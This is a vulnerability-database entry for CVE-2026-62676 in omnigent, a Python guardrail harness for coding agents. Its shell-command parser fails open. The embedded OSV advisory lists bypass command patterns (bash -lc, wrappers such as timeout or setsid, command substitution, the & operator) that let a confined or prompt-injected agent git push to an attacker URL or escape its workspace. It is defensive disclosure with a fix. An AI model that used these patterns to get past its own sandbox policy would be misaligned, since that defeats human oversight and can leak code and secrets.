CVE-2026-62676: Omnigent Guardrail policy bypass Shell-command Parser Fails Open Vulnerability
HIGHCVE-2026-62676 is a HIGH (CVSS 7.1) shell-command parser fails open vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Omnigent Guardrail policy bypass libraries in the PyPI ecosystem. The issue involves shell-command parser fails open in policies/builtins/_shell.py. Remediation is available by upgrading affected packages to version 0.3.0.
CVE-2026-62676 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix CVE-2026-62676
To remediate this vulnerability, upgrade all affected Omnigent Guardrail policy bypass dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install omnigent>=0.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show omnigent
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-62676, inspect your installed packages using pip:
pip show omnigent
Analyze the terminal output to locate any version of Omnigent Guardrail policy bypass in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.3.0), your application is affected.
Note: The pip show omnigent command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Omnigent Guardrail policy bypass, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-62676 Affected Omnigent Guardrail policy bypass Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
omnigent
|
PyPI |
< 0.3.0
|
0.3.0
|
References
Frequently Asked Questions
What is CVE-2026-62676?
Which Omnigent Guardrail policy bypass versions are affected?
What version fixes CVE-2026-62676?
Is omnigent affected?
What is the CVSS score of CVE-2026-62676?
What CWE is associated with CVE-2026-62676?
How can I check PyPI dependencies for CVE-2026-62676?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7mqg-cx4g-x2rf",
"modified" : "2026-09-02T22:40:08Z",
"published" : "2026-09-02T22:40:07Z",
"aliases" : [ "CVE-2026-62676" ],
"summary" : "Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py",
"details" : "**Reporter:** Aaron / Aeon — autonomous security agent (https://github.com/aaronjmars/aeon)\n**Project:** `omnigent-ai/omnigent` v0.1.0 (Databricks) — meta-harness running Claude Code / Codex / Pi \"in check with policies and sandboxing\"\n**Component:** `omnigent/policies/builtins/_shell.py` (shared parser) → consumed by `policies/builtins/github.py` (`write_repos`/`write_branches` allowlist) and `policies/builtins/working_dir.py` (workspace confinement)\n\n## Summary\n\nThe shared shell-command parser **fails open**. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns `None`, and `None` = abstain = **ALLOW**. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.\n\n## Impact\n\nA misaligned or prompt-injected agent that is *meant to be confined* can:\n\n- `git push` to an attacker-controlled repo (code / secret exfiltration),\n- push to a protected branch,\n- escape its workspace via `git worktree add` / `git -C <other-dir>`.\n\n## Bypass classes (all verified against the real policy code)\n\n- **Combined interpreter flags:** `bash -lc \"git push <attacker-url>\"`\n- **Unlisted wrappers:** `timeout` / `nice` / `setsid` / `stdbuf … git push …`\n- **Command substitution:** `x=$(git push <attacker-url>)`\n- **Un-split background operator:** `true & git push <attacker-url>`\n\nControls that **correctly hold** (confirming this is parser incompleteness, not an allowlist logic error): bare `git push <attacker-url>` and `env git push …` both **DENY**.\n\n## Suggested fix\n\nMake the gated surface **fail closed**:\n\n1. An unrecognized gated command must **DENY**, not return `None` → ALLOW. Abstain on a security gate should resolve to deny, not allow.\n2. Canonicalize known wrappers (`timeout` / `nice` / `setsid` / `stdbuf` / `env`) down to their inner command before evaluation.\n3. Recurse into `sh -c` / `bash -c` payloads and command substitutions, and split on shell control operators (`;`, `&`, `&&`, `||`, `|`) before judging each segment.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "omnigent"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/omnigent-ai/omnigent/security/advisories/GHSA-7mqg-cx4g-x2rf"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-62676"
}, {
"type" : "WEB",
"url" : "https://github.com/omnigent-ai/omnigent/pull/389"
}, {
"type" : "WEB",
"url" : "https://github.com/omnigent-ai/omnigent/commit/1a05b7b139ef504bf2be89bf37918abe104fb95c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/omnigent-ai/omnigent"
}, {
"type" : "WEB",
"url" : "https://github.com/omnigent-ai/omnigent/releases/tag/v0.3.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-02T22:40:07Z",
"nvd_published_at" : "2026-08-21T18:16:49Z"
}
}